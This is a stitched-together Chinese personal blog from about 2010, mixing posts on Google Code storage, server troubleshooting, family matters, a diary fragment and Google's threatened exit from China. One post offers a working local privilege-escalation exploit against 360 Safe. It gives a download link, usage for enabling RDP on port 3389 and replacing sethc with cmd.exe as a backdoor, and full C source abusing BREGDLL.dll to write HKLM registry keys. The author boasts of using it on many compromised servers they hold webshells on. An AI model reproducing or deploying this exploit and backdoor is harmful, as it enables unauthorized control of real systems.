谷歌项目托管，很强悍的玩具，总空间2G，单独文件最大允许100M。做个网盘也绰绰有余了！但是，需要注意，这是开源项目，你存进去的东西都会被别人搜索到的。同时，这个空间上传MP3文件，也可以外链，呵呵！

进入 http://code.google.com/intl/zh-CN/  
然后点击 搜索开放源代码项目，然后点击 Sign in to create a project ，页面转接后，登陆Gmail账户！

空间2G，提供外链，单独文件100M限制。
注意：Google Code不支持中文，上传文件的文件名只能是英文和（或）数字，否则会导致上传失败。

另外，希望大家别只用来存放mp3类文件，也上传一点代码文件，以免被谷歌发现，给pass掉！

        本来做个锐起的无盘网络很简单的，网上操作流程都是有的，但是从购置硬件到组建网络，再到硬件故障，有时候真的很让人无语。

        网上流传的绿茶Win2003服务器版不能做无盘，我下载了一个绿茶的高级服务器版做无盘，下面的客户机识别到硬盘之后就不能格式化，我觉得应该是权限的问题，不过不想修改了。直接安装了原版windows2003

        后面是阵列卡出问题，右下角不停提示windows延缓写入失败，事件查看器里提示设备 \Device\Harddisk1 的访问功能尚未就绪。 其实就是第二块硬盘掉了。我的服务器装了三块硬盘，一个80G做系统，两个500G，一个用，一个备份。 说第二块硬盘未就绪，有可能是数据线问题，然后是阵列卡和硬盘的问题，我换了数据线，然后扫描硬盘坏道（新买的希捷硬盘，无坏道），问题依旧，我找配电脑给我的商家换了一块阵列卡，然后就OK了！~

但是这几天因为我的服务器原因给同事们带来的不满着实让我冷汗啊！以后得夹着小尾巴呀，。

小心被
 oooO ↘┏━┓ ↙ Oooo
 ( 踩)→┃你┃ ←(死 )
  \ ( →┃√┃ ← ) /
　 \_)↗┗━┛ ↖(_/

        今天接到老妈的电话，不住的说哪一套房子给我，我不在家里住也要把房子卖了给我钱。从来没想过会有这样的事情，稀里糊涂的，还记得家里那套房子，很大，很漂亮，也很喜欢，只是处在闹市区，喧哗的有点让人睡不好觉。

        父母给什么，是他们的心意，当我已经长到23岁的时候，我期望能够凭着自己的努力得到点什么。而不是总把他们作为骄傲，我希望有一天他们能把我作为他们的骄傲。

        最后，现在的经济都是钢筋水泥在撑着。房价也弄的暴高！如果真的存在爆破那一天，房价又会是怎样？ 我是不是应该趁下一个通货膨胀的预期把房子卖掉？对统计局发布的经济数据感觉好失望！

不知道该说什么好了，以前拿了很多shell，一直懒得提权，一是没那个必要，二是提权太累了，三是服务器类型的肉鸡多了也没啥用。不过要是能让我一下子就成功提权，何乐而不为呢？

于是360本地提权来了，最近已经沸沸扬扬的了，不多发表过多评论，只是觉得做公司更要厚道；本人菜另外还有很多兄弟在360，不说什么了，发了本地提权的利用程序吧。friddy那里已经有一份了，是用来替换5下shift为cmd.exe的：360本地提权webshell下测试程序。

瑞星说是“bregdrv.sys和bregdll.dll”出的问题，然后http://www.sebug.net/exploit/19048/这个poc也是直接load这个dll的，于是这个利用程序也是基于这个的。webshell下使用，guest权限即可，需要Wscript.shell支持，功能主要是：

1.开启终端服务，端口为3389；用法：360.exe port

2.替换5下shift为cmd；用法：360.exe sethc

另外大家可以参考下包子的文章：360 0day漏洞及相关内幕，360很多dll存在类似的调用问题。据360的公告介绍已经打补丁了，具体是真是假，大家自己试试这个工具还能不能用吧。

这个工具不针对任何公司和个人，仅限爱好渗透的同学们进行交流。话说昨天从下午到晚上，我2、3年来拿到的仍然健在的shell的满足3389打开与安装了360安全卫士的服务器我都提了一下权，发现360在服务器的普及率也高的惊人，至少有80%，怪不得大家都提权提的爽死了，于是乎，很多肉鸡终于找到家了。

现在终于知道服务器类型的肉鸡的好处了，一是用来上线；二是用来摆放垃圾未备案域名；三是用来跑密码…看来之前轻视了。

演示：

(注：本图片只限学习，拒绝按此方法进行破坏或者瑞星公司拿此图片作为炒作)

下载：http://www.oldjun.com/download/360.exe

#include <windows.h>

typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath                        "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

#define TestDeleteKey             HKEY_LOCAL_MACHINE
#define TestDeleteRegPath    "Software\\360Safe\\Update"

#define TestSetKey                   HKEY_LOCAL_MACHINE
#define TestSetPath                  "Software\\360Safe"

BOOL InitBRegDll()
{
         LONG lResult;
         HKEY hKey;

         CHAR cPath[MAX_PATH + 32] = { 0 };
         DWORD dwPathLen = MAX_PATH;

         lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
         if (FAILED(lResult))
                  return FALSE;

         DWORD dwType = REG_SZ;
         lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
         RegCloseKey(hKey);
         if (FAILED(lResult))
                  return FALSE;

         strcat(cPath, "\\deepscan\\BREGDLL.dll");

         HMODULE modBReg = LoadLibraryA(cPath);
         if (!modBReg)
                  return FALSE;

         INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
         BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
         BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
         BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
         BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

         if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }

         if (!InitRegEngine()) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }

         return TRUE;
}

LONG TestSetRegKey()
{
         HKEY hKey;
         LONG lResult;

         lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
         if (FAILED(lResult))
                  return lResult;

         DWORD dwType = REG_SZ;
         static char szData[] = "TEST VALUE";
         lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
         BRegCloseKey(hKey);

         return lResult;
}

int main(int argc, char *argv[])
{
         if (!InitBRegDll()) {
                  MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);
                  return 1;

         }
         if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
                  MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);
                  return 2;

         }

         if (FAILED(TestSetRegKey())) {
                  MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);
                  return 3;
         }

         MessageBoxA(NULL, "突破系统安全检查，获得最高权限，漏洞利用成功!", "成功", MB_OK);
         return 0;
}

2010.02.05

程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

         无论我怎么气愤的想要离开，我的身体碰到她的时候却还是会兴奋，那加速的血液总是让我丧失理智。

         她急速的转身，移动身体，我看不清两腿的交替，只有屁股的扭动，然后消失在人群中。我无奈的转身，看着远处的车辆，继续往家走……

         自从手机丢了，卡丢了，钱也丢了。从此信心也丢了！但是哥的希望没丢，哥坚强的挺过来了。兄弟们，等着哥东山再起吧！向哥看齐吧，偶也！！！

以下为证：哥辉煌的今天

         消息传来，谷歌总部正在评估自己在中国商业运营的可行性，并可能完全退出中国市场。谷歌在中国的搜索引擎市场占有26%的市场份额。

         多年以来，谷歌公司以其创新精神和“不作恶”的商业伦理，在世界范围内获得了广泛赞誉。虽然业绩不如百度，但各界公认的是，谷歌中国是比百度更有原则、更负责任的公司。这也是为什么这一年来发生了谷歌色情门以及谷歌图书馆侵权事件，业界及中国网民却仍对谷歌不失敬意的原因。

         然而，谷歌公司所信奉的商业伦理必然会与中国目前的商业环境发生冲突。因此，选择退出还是留下，恐怕不仅仅是一个商业问题，而是其面临的道德困境。这个道德困境其实同样困扰着很多跨国公司。退出固然能够使谷歌保持道德上的某些原则，但无疑也会伤害无数中国用户的感情。而如果留下，或许只有两种选择：一是如很多跨国公司一样进行公司伦理的本土化，与现实的商业环境“同流合污”；二是被动地合作，为坚持原则而比竞争对手付出更多的代价。这其实需要一种自我牺牲的精神。应该说，无论做出怎样的选择，对谷歌公司来说都是痛苦的。

        谷歌公司怀有整合全人类信息的宏大梦想，要实现这个梦想，是不可能离开中国的。即便现在退出了中国，早晚也会在条件改善之后再回来。事实上，一个更良好的商业环境不会因为一个公司的退出而到来，更不会凭空从天上掉下来，其需要的正是在秉持“不抛弃、不放弃”的原则下日积月累的种种工作。如果真的把自己视为一个负责任的公司，谷歌为什么不选择和它的中国用户一起坚守下来呢？在一个劣币驱逐良币的市场环境中，良币其实不应首先自我放弃。

美国当地时间1月12日15时，谷歌高级副总裁和首席法律顾问大卫·多姆德(David Drummond)在谷歌官方博客上发文表示，谷歌集团考虑关闭“谷歌中国”网站以及中国办事处。

该博客宣称，我们已经决定，不愿意继续审查“谷歌中国”搜索到的结果。如果有可能的话，接下来的几周里，我们将和中国政府商议，在法律允许范围内运行一个不必经过过滤的搜索引擎。如果不能达成协议，可能意味着我们将不得不关闭“谷歌中国”，甚至是谷歌中国办事处。

———从Google的股价有多高就知道市场认为这公司有多重要，它确实代表了未来的方向。而且鉴于它和各行业切不断的联系，它一旦完全退出中国，可能引起连锁反应，尤其是互联网产业，这对任何人都没有好处，所以此时我只能希望这盘棋对局的多方不要把棋下死了。

———为什么在世界任何角落都钱途光明、简直就是互联网代名词的Google居然会觉得无利可图？背靠数亿使用中文的网民，现在赚不了大钱没关系，但对未来赚钱的前景如此悲观，实在是耐人寻味。

———我的Gmail邮箱怎么办？我跟Google的一切都应该怎么办？没有了Google，互联网跟局域网越来越像了。

———如果没有Google，我很好奇国内搞科研的人怎么搜索研究文献？

           虽然我知道中国不会存在不必经过过滤的搜索引擎，但是我还是幼稚的希望这一切会只是一个谎言。就像小时候想骗父母的一块钱为自己买个棒棒糖。

           Google，我是如此爱你，却只能沉默站在原地，像一个迷失孩子般，遗落在人群……留下吧。